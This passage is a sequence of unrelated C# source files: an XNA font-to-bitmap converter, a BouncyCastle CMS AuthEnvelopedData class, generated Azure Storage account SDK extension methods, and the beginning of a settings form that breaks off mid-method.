static extern uint SHEmptyRecycleBin(IntPtr hwnd, string pszRootPath, RecycleFlags dwFlags); } } #endif
#region File Description //----------------------------------------------------------------------------- // MainForm.cs // // Microsoft XNA Community Game Platform // Copyright (C) Microsoft Corporation. All rights reserved. //----------------------------------------------------------------------------- #endregion #region Using Statements using System; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Drawing; using System.Drawing.Imaging; using System.Windows.Forms; using System.Globalization; using System.Collections.Generic; using System.Drawing.Drawing2D; using System.Drawing.Text; #endregion namespace TrueTypeConverter { /// <summary> /// Utility for rendering Windows fonts out into a BMP file /// which can then be imported into the XNA Framework using /// the Content Pipeline FontTextureProcessor. /// </summary> public partial class MainForm : Form { Bitmap globalBitmap; Graphics globalGraphics; Font font; string fontError; /// <summary> /// Constructor. /// </summary> public MainForm() { InitializeComponent(); globalBitmap = new Bitmap(1, 1, PixelFormat.Format32bppArgb); globalGraphics = Graphics.FromImage(globalBitmap); foreach (FontFamily font in FontFamily.Families) FontName.Items.Add(font.Name); FontName.Text = "Comic Sans MS"; } /// <summary> /// When the font selection changes, create a new Font /// instance and update the preview text label. /// </summary> [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] void SelectionChanged() { try { // Parse the size selection. float size; if (!float.TryParse(FontSize.Text, out size) || (size <= 0)) { fontError = "Invalid font size '" + FontSize.Text + "'"; return; } // Parse the font style selection. FontStyle style; try { style = (FontStyle)Enum.Parse(typeof(FontStyle), FontStyle.Text); } catch { fontError = "Invalid font style '" + FontStyle.Text + "'"; return; } // Create the new font. Font newFont = new Font(FontName.Text, size, style); if (font != null) font.Dispose(); Sample.Font = font = newFont; fontError = null; } catch (Exception exception) { fontError = exception.Message; } } /// <summary> /// Selection changed event handler. /// </summary> private void FontName_SelectedIndexChanged(object sender, System.EventArgs e) { SelectionChanged(); } /// <summary> /// Selection changed event handler. /// </summary> private void FontStyle_SelectedIndexChanged(object sender, System.EventArgs e) { SelectionChanged(); } /// <summary> /// Selection changed event handler. /// </summary> private void FontSize_TextUpdate(object sender, System.EventArgs e) { SelectionChanged(); } /// <summary> /// Selection changed event handler. /// </summary> private void FontSize_SelectedIndexChanged(object sender, EventArgs e) { SelectionChanged(); } /// <summary> /// Event handler for when the user clicks on the Export button. /// </summary> [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] private void Export_Click(object sender, EventArgs e) { try { // If the current font is invalid, report that to the user. if (fontError != null) throw new ArgumentException(fontError); // Convert the character range from string to integer, // and validate it. int minChar = ParseHex(MinChar.Text); int maxChar = ParseHex(MaxChar.Text); if ((minChar >= maxChar) || (minChar < 0) || (minChar > 0xFFFF) || (maxChar < 0) || (maxChar > 0xFFFF)) { throw new ArgumentException("Invalid character range " + MinChar.Text + " - " + MaxChar.Text); } // Choose the output file. SaveFileDialog fileSelector = new SaveFileDialog(); fileSelector.Title = "Export Font"; fileSelector.DefaultExt = "bmp"; fileSelector.Filter = "Image files (*.bmp)|*.bmp|All files (*.*)|*.*"; if (fileSelector.ShowDialog() == DialogResult.OK) { // Build up a list of all the glyphs to be output. List<Bitmap> bitmaps = new List<Bitmap>(); List<int> xPositions = new List<int>(); List<int> yPositions = new List<int>(); try { const int padding = 8; int width = padding; int height = padding; int lineWidth = padding; int lineHeight = padding; int count = 0; // Rasterize each character in turn, // and add it to the output list. for (char ch = (char)minChar; ch < maxChar; ch++) { Bitmap bitmap = RasterizeCharacter(ch); bitmaps.Add(bitmap); xPositions.Add(lineWidth); yPositions.Add(height); lineWidth += bitmap.Width + padding; lineHeight = Math.Max(lineHeight, bitmap.Height + padding); // Output 16 glyphs per line, then wrap to the next line. if ((++count == 16) || (ch == maxChar - 1)) { width = Math.Max(width, lineWidth); height += lineHeight; lineWidth = padding; lineHeight = padding; count = 0; } } using (Bitmap bitmap = new Bitmap(width, height, PixelFormat.Format32bppArgb)) { // Arrage all the glyphs onto a single larger bitmap. using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.Clear(Color.Magenta); graphics.CompositingMode = CompositingMode.SourceCopy; for (int i = 0; i < bitmaps.Count; i++) { graphics.DrawImage(bitmaps[i], xPositions[i], yPositions[i]); } graphics.Flush(); } // Save out the combined bitmap. bitmap.Save(fileSelector.FileName, ImageFormat.Bmp); } } finally { // Clean up temporary objects. foreach (Bitmap bitmap in bitmaps) bitmap.Dispose(); } } } catch (Exception exception) { // Report any errors to the user. MessageBox.Show(exception.Message, Text + " Error"); } } /// <summary> /// Helper for rendering out a single font character /// into a System.Drawing bitmap. /// </summary> private Bitmap RasterizeCharacter(char ch) { string text = ch.ToString(); SizeF size = globalGraphics.MeasureString(text, font); int width = (int)Math.Ceiling(size.Width); int height = (int)Math.Ceiling(size.Height); Bitmap bitmap = new Bitmap(width, height, PixelFormat.Format32bppArgb); using (Graphics graphics = Graphics.FromImage(bitmap)) { if (Antialias.Checked) { graphics.TextRenderingHint = TextRenderingHint.AntiAliasGridFit; } else { graphics.TextRenderingHint = TextRenderingHint.SingleBitPerPixelGridFit; } graphics.Clear(Color.Transparent); using (Brush brush = new SolidBrush(Color.White)) using (StringFormat format = new StringFormat()) { format.Alignment = StringAlignment.Near; format.LineAlignment = StringAlignment.Near; graphics.DrawString(text, font, brush, 0, 0, format); } graphics.Flush(); } return CropCharacter(bitmap); } /// <summary> /// Helper for cropping ununsed space from the sides of a bitmap. /// </summary> private static Bitmap CropCharacter(Bitmap bitmap) { int cropLeft = 0; int cropRight = bitmap.Width - 1; // Remove unused space from the left. while ((cropLeft < cropRight) && (BitmapIsEmpty(bitmap, cropLeft))) cropLeft++; // Remove unused space from the right. while ((cropRight > cropLeft) && (BitmapIsEmpty(bitmap, cropRight))) cropRight--; // Don't crop if that would reduce the glyph down to nothing at all! if (cropLeft == cropRight) return bitmap; // Add some padding back in. cropLeft = Math.Max(cropLeft - 1, 0); cropRight = Math.Min(cropRight + 1, bitmap.Width - 1); int width = cropRight - cropLeft + 1; // Crop the glyph. Bitmap croppedBitmap = new Bitmap(width, bitmap.Height, bitmap.PixelFormat); using (Graphics graphics = Graphics.FromImage(croppedBitmap)) { graphics.CompositingMode = CompositingMode.SourceCopy; graphics.DrawImage(bitmap, 0, 0, new Rectangle(cropLeft, 0, width, bitmap.Height), GraphicsUnit.Pixel); graphics.Flush(); } bitmap.Dispose(); return croppedBitmap; } /// <summary> /// Helper for testing whether a column of a bitmap is entirely empty. /// </summary> private static bool BitmapIsEmpty(Bitmap bitmap, int x) { for (int y = 0; y < bitmap.Height; y++) { if (bitmap.GetPixel(x, y).A != 0) return false; } return true; } /// <summary> /// Helper for converting strings to integer. /// </summary> static int ParseHex(string text) { NumberStyles style; if (text.StartsWith("0x")) { style = NumberStyles.HexNumber; text = text.Substring(2); } else { style = NumberStyles.Integer; } int result; if (!int.TryParse(text, style, null, out result)) return -1; return result; } } }
using System; namespace Org.BouncyCastle.Asn1.Cms { public class AuthEnvelopedData : Asn1Encodable { private DerInteger version; private OriginatorInfo originatorInfo; private Asn1Set recipientInfos; private EncryptedContentInfo authEncryptedContentInfo; private Asn1Set authAttrs; private Asn1OctetString mac; private Asn1Set unauthAttrs; public AuthEnvelopedData( OriginatorInfo originatorInfo, Asn1Set recipientInfos, EncryptedContentInfo authEncryptedContentInfo, Asn1Set authAttrs, Asn1OctetString mac, Asn1Set unauthAttrs) { // "It MUST be set to 0." this.version = new DerInteger(0); this.originatorInfo = originatorInfo; // TODO // "There MUST be at least one element in the collection." this.recipientInfos = recipientInfos; this.authEncryptedContentInfo = authEncryptedContentInfo; // TODO // "The authAttrs MUST be present if the content type carried in // EncryptedContentInfo is not id-data." this.authAttrs = authAttrs; this.mac = mac; this.unauthAttrs = unauthAttrs; } private AuthEnvelopedData( Asn1Sequence seq) { int index = 0; // TODO // "It MUST be set to 0." Asn1Object tmp = seq[index++].ToAsn1Object(); version = (DerInteger)tmp; tmp = seq[index++].ToAsn1Object(); if (tmp is Asn1TaggedObject) { originatorInfo = OriginatorInfo.GetInstance((Asn1TaggedObject)tmp, false); tmp = seq[index++].ToAsn1Object(); } // TODO // "There MUST be at least one element in the collection." recipientInfos = Asn1Set.GetInstance(tmp); tmp = seq[index++].ToAsn1Object(); authEncryptedContentInfo = EncryptedContentInfo.GetInstance(tmp); tmp = seq[index++].ToAsn1Object(); if (tmp is Asn1TaggedObject) { authAttrs = Asn1Set.GetInstance((Asn1TaggedObject)tmp, false); tmp = seq[index++].ToAsn1Object(); } else { // TODO // "The authAttrs MUST be present if the content type carried in // EncryptedContentInfo is not id-data." } mac = Asn1OctetString.GetInstance(tmp); if (seq.Count > index) { tmp = seq[index++].ToAsn1Object(); unauthAttrs = Asn1Set.GetInstance((Asn1TaggedObject)tmp, false); } } /** * return an AuthEnvelopedData object from a tagged object. * * @param obj the tagged object holding the object we want. * @param isExplicit true if the object is meant to be explicitly * tagged false otherwise. * @throws ArgumentException if the object held by the * tagged object cannot be converted. */ public static AuthEnvelopedData GetInstance( Asn1TaggedObject obj, bool isExplicit) { return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); } /** * return an AuthEnvelopedData object from the given object. * * @param obj the object we want converted. * @throws ArgumentException if the object cannot be converted. */ public static AuthEnvelopedData GetInstance( object obj) { if (obj == null || obj is AuthEnvelopedData) return (AuthEnvelopedData)obj; if (obj is Asn1Sequence) return new AuthEnvelopedData((Asn1Sequence)obj); throw new ArgumentException("Invalid AuthEnvelopedData: " + obj.GetType().Name); } public DerInteger Version { get { return version; } } public OriginatorInfo OriginatorInfo { get { return originatorInfo; } } public Asn1Set RecipientInfos { get { return recipientInfos; } } public EncryptedContentInfo AuthEncryptedContentInfo { get { return authEncryptedContentInfo; } } public Asn1Set AuthAttrs { get { return authAttrs; } } public Asn1OctetString Mac { get { return mac; } } public Asn1Set UnauthAttrs { get { return unauthAttrs; } } /** * Produce an object suitable for an Asn1OutputStream. * <pre> * AuthEnvelopedData ::= SEQUENCE { * version CMSVersion, * originatorInfo [0] IMPLICIT OriginatorInfo OPTIONAL, * recipientInfos RecipientInfos, * authEncryptedContentInfo EncryptedContentInfo, * authAttrs [1] IMPLICIT AuthAttributes OPTIONAL, * mac MessageAuthenticationCode, * unauthAttrs [2] IMPLICIT UnauthAttributes OPTIONAL } * </pre> */ public override Asn1Object ToAsn1Object() { Asn1EncodableVector v = new Asn1EncodableVector(version); if (originatorInfo != null) { v.Add(new DerTaggedObject(false, 0, originatorInfo)); } v.Add(recipientInfos, authEncryptedContentInfo); // "authAttrs optionally contains the authenticated attributes." if (authAttrs != null) { // "AuthAttributes MUST be DER encoded, even if the rest of the // AuthEnvelopedData structure is BER encoded." v.Add(new DerTaggedObject(false, 1, authAttrs)); } v.Add(mac); // "unauthAttrs optionally contains the unauthenticated attributes." if (unauthAttrs != null) { v.Add(new DerTaggedObject(false, 2, unauthAttrs)); } return new BerSequence(v); } } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. namespace Microsoft.Azure.Management.Storage { using Microsoft.Azure; using Microsoft.Azure.Management; using Microsoft.Rest; using Microsoft.Rest.Azure; using Models; using System.Collections; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; /// <summary> /// Extension methods for StorageAccountsOperations. /// </summary> public static partial class StorageAccountsOperationsExtensions { /// <summary> /// Checks that the storage account name is valid and is not already in use. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='name'> /// The storage account name. /// </param> public static CheckNameAvailabilityResult CheckNameAvailability(this IStorageAccountsOperations operations, string name) { return operations.CheckNameAvailabilityAsync(name).GetAwaiter().GetResult(); } /// <summary> /// Checks that the storage account name is valid and is not already in use. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='name'> /// The storage account name. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<CheckNameAvailabilityResult> CheckNameAvailabilityAsync(this IStorageAccountsOperations operations, string name, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.CheckNameAvailabilityWithHttpMessagesAsync(name, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Asynchronously creates a new storage account with the specified parameters. /// If an account is already created and a subsequent create request is issued /// with different properties, the account properties will be updated. If an /// account is already created and a subsequent create or update request is /// issued with the exact same set of properties, the request will succeed. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide for the created account. /// </param> public static StorageAccount Create(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, StorageAccountCreateParameters parameters) { return operations.CreateAsync(resourceGroupName, accountName, parameters).GetAwaiter().GetResult(); } /// <summary> /// Asynchronously creates a new storage account with the specified parameters. /// If an account is already created and a subsequent create request is issued /// with different properties, the account properties will be updated. If an /// account is already created and a subsequent create or update request is /// issued with the exact same set of properties, the request will succeed. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide for the created account. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<StorageAccount> CreateAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, StorageAccountCreateParameters parameters, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.CreateWithHttpMessagesAsync(resourceGroupName, accountName, parameters, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Deletes a storage account in Microsoft Azure. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> public static void Delete(this IStorageAccountsOperations operations, string resourceGroupName, string accountName) { operations.DeleteAsync(resourceGroupName, accountName).GetAwaiter().GetResult(); } /// <summary> /// Deletes a storage account in Microsoft Azure. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task DeleteAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, CancellationToken cancellationToken = default(CancellationToken)) { (await operations.DeleteWithHttpMessagesAsync(resourceGroupName, accountName, null, cancellationToken).ConfigureAwait(false)).Dispose(); } /// <summary> /// Returns the properties for the specified storage account including but not /// limited to name, SKU name, location, and account status. The ListKeys /// operation should be used to retrieve storage keys. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> public static StorageAccount GetProperties(this IStorageAccountsOperations operations, string resourceGroupName, string accountName) { return operations.GetPropertiesAsync(resourceGroupName, accountName).GetAwaiter().GetResult(); } /// <summary> /// Returns the properties for the specified storage account including but not /// limited to name, SKU name, location, and account status. The ListKeys /// operation should be used to retrieve storage keys. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<StorageAccount> GetPropertiesAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.GetPropertiesWithHttpMessagesAsync(resourceGroupName, accountName, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// The update operation can be used to update the SKU, encryption, access /// tier, or tags for a storage account. It can also be used to map the account /// to a custom domain. Only one custom domain is supported per storage /// account; the replacement/change of custom domain is not supported. In order /// to replace an old custom domain, the old value must be cleared/unregistered /// before a new value can be set. The update of multiple properties is /// supported. This call does not change the storage keys for the account. If /// you want to change the storage account keys, use the regenerate keys /// operation. The location and name of the storage account cannot be changed /// after creation. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide for the updated account. /// </param> public static StorageAccount Update(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, StorageAccountUpdateParameters parameters) { return operations.UpdateAsync(resourceGroupName, accountName, parameters).GetAwaiter().GetResult(); } /// <summary> /// The update operation can be used to update the SKU, encryption, access /// tier, or tags for a storage account. It can also be used to map the account /// to a custom domain. Only one custom domain is supported per storage /// account; the replacement/change of custom domain is not supported. In order /// to replace an old custom domain, the old value must be cleared/unregistered /// before a new value can be set. The update of multiple properties is /// supported. This call does not change the storage keys for the account. If /// you want to change the storage account keys, use the regenerate keys /// operation. The location and name of the storage account cannot be changed /// after creation. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide for the updated account. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<StorageAccount> UpdateAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, StorageAccountUpdateParameters parameters, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.UpdateWithHttpMessagesAsync(resourceGroupName, accountName, parameters, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Lists all the storage accounts available under the subscription. Note that /// storage keys are not returned; use the ListKeys operation for this. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> public static IEnumerable<StorageAccount> List(this IStorageAccountsOperations operations) { return operations.ListAsync().GetAwaiter().GetResult(); } /// <summary> /// Lists all the storage accounts available under the subscription. Note that /// storage keys are not returned; use the ListKeys operation for this. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<IEnumerable<StorageAccount>> ListAsync(this IStorageAccountsOperations operations, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.ListWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Lists all the storage accounts available under the given resource group. /// Note that storage keys are not returned; use the ListKeys operation for /// this. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> public static IEnumerable<StorageAccount> ListByResourceGroup(this IStorageAccountsOperations operations, string resourceGroupName) { return operations.ListByResourceGroupAsync(resourceGroupName).GetAwaiter().GetResult(); } /// <summary> /// Lists all the storage accounts available under the given resource group. /// Note that storage keys are not returned; use the ListKeys operation for /// this. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<IEnumerable<StorageAccount>> ListByResourceGroupAsync(this IStorageAccountsOperations operations, string resourceGroupName, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.ListByResourceGroupWithHttpMessagesAsync(resourceGroupName, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Lists the access keys for the specified storage account. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> public static StorageAccountListKeysResult ListKeys(this IStorageAccountsOperations operations, string resourceGroupName, string accountName) { return operations.ListKeysAsync(resourceGroupName, accountName).GetAwaiter().GetResult(); } /// <summary> /// Lists the access keys for the specified storage account. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<StorageAccountListKeysResult> ListKeysAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.ListKeysWithHttpMessagesAsync(resourceGroupName, accountName, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Regenerates one of the access keys for the specified storage account. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='keyName'> /// The name of storage keys that want to be regenerated, possible vaules are /// key1, key2. /// </param> public static StorageAccountListKeysResult RegenerateKey(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, string keyName) { return operations.RegenerateKeyAsync(resourceGroupName, accountName, keyName).GetAwaiter().GetResult(); } /// <summary> /// Regenerates one of the access keys for the specified storage account. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='keyName'> /// The name of storage keys that want to be regenerated, possible vaules are /// key1, key2. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<StorageAccountListKeysResult> RegenerateKeyAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, string keyName, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.RegenerateKeyWithHttpMessagesAsync(resourceGroupName, accountName, keyName, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// List SAS credentials of a storage account. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide to list SAS credentials for the storage account. /// </param> public static ListAccountSasResponse ListAccountSAS(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, AccountSasParameters parameters) { return operations.ListAccountSASAsync(resourceGroupName, accountName, parameters).GetAwaiter().GetResult(); } /// <summary> /// List SAS credentials of a storage account. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide to list SAS credentials for the storage account. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<ListAccountSasResponse> ListAccountSASAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, AccountSasParameters parameters, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.ListAccountSASWithHttpMessagesAsync(resourceGroupName, accountName, parameters, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// List service SAS credentials of a specific resource. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide to list service SAS credentials. /// </param> public static ListServiceSasResponse ListServiceSAS(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, ServiceSasParameters parameters) { return operations.ListServiceSASAsync(resourceGroupName, accountName, parameters).GetAwaiter().GetResult(); } /// <summary> /// List service SAS credentials of a specific resource. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide to list service SAS credentials. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<ListServiceSasResponse> ListServiceSASAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, ServiceSasParameters parameters, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.ListServiceSASWithHttpMessagesAsync(resourceGroupName, accountName, parameters, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } /// <summary> /// Asynchronously creates a new storage account with the specified parameters. /// If an account is already created and a subsequent create request is issued /// with different properties, the account properties will be updated. If an /// account is already created and a subsequent create or update request is /// issued with the exact same set of properties, the request will succeed. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide for the created account. /// </param> public static StorageAccount BeginCreate(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, StorageAccountCreateParameters parameters) { return operations.BeginCreateAsync(resourceGroupName, accountName, parameters).GetAwaiter().GetResult(); } /// <summary> /// Asynchronously creates a new storage account with the specified parameters. /// If an account is already created and a subsequent create request is issued /// with different properties, the account properties will be updated. If an /// account is already created and a subsequent create or update request is /// issued with the exact same set of properties, the request will succeed. /// </summary> /// <param name='operations'> /// The operations group for this extension method. /// </param> /// <param name='resourceGroupName'> /// The name of the resource group within the user's subscription. The name is /// case insensitive. /// </param> /// <param name='accountName'> /// The name of the storage account within the specified resource group. /// Storage account names must be between 3 and 24 characters in length and use /// numbers and lower-case letters only. /// </param> /// <param name='parameters'> /// The parameters to provide for the created account. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> public static async Task<StorageAccount> BeginCreateAsync(this IStorageAccountsOperations operations, string resourceGroupName, string accountName, StorageAccountCreateParameters parameters, CancellationToken cancellationToken = default(CancellationToken)) { using (var _result = await operations.BeginCreateWithHttpMessagesAsync(resourceGroupName, accountName, parameters, null, cancellationToken).ConfigureAwait(false)) { return _result.Body; } } } }
// SettingsForm.cs - Form that lets you change settings ... // (c) 2005 Marty Dill. See license.txt for details. using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; namespace iSongShow { public class SettingsForm : System.Windows.Forms.Form { private System.Windows.Forms.NotifyIcon notifyIcon1; private System.Windows.Forms.ContextMenu contextMenu1; private System.Windows.Forms.MenuItem menuItem1; private System.Windows.Forms.MenuItem menuItem2; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private System.Windows.Forms.Label opacityLabel; private System.Windows.Forms.Label opacityStepLabel; private System.Windows.Forms.Label fadeDelayLabel; private System.Windows.Forms.Label popupDurationLabel; private System.Windows.Forms.TextBox opacityTextBox; private System.Windows.Forms.TextBox opacityStepTextBox; private System.Windows.Forms.TextBox fadeDelayTextBox; private System.Windows.Forms.TextBox popupDurationTextBox; private System.ComponentModel.IContainer components; public SettingsForm() { InitializeComponent(); } // Hide the form instead of closing it protected override void OnClosing(CancelEventArgs e) { e.Cancel = true; this.Hide(); base.OnClosing(e); } // Hide the form instead of minimizing the window protected override void OnResize(EventArgs e) { if (this.WindowState == FormWindowState.Minimized) this.Hide(); base.OnResize(e); } protected override void Dispose(bool disposing) { if (disposing) { if (components != null) { components.Dispose(); } } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(SettingsForm)); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.contextMenu1 = new System.Windows.Forms.ContextMenu(); this.menuItem1 = new System.Windows.Forms.MenuItem(); this.menuItem2 = new System.Windows.Forms.MenuItem(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); this.opacityLabel = new System.Windows.Forms.Label(); this.opacityStepLabel = new System.Windows.Forms.Label(); 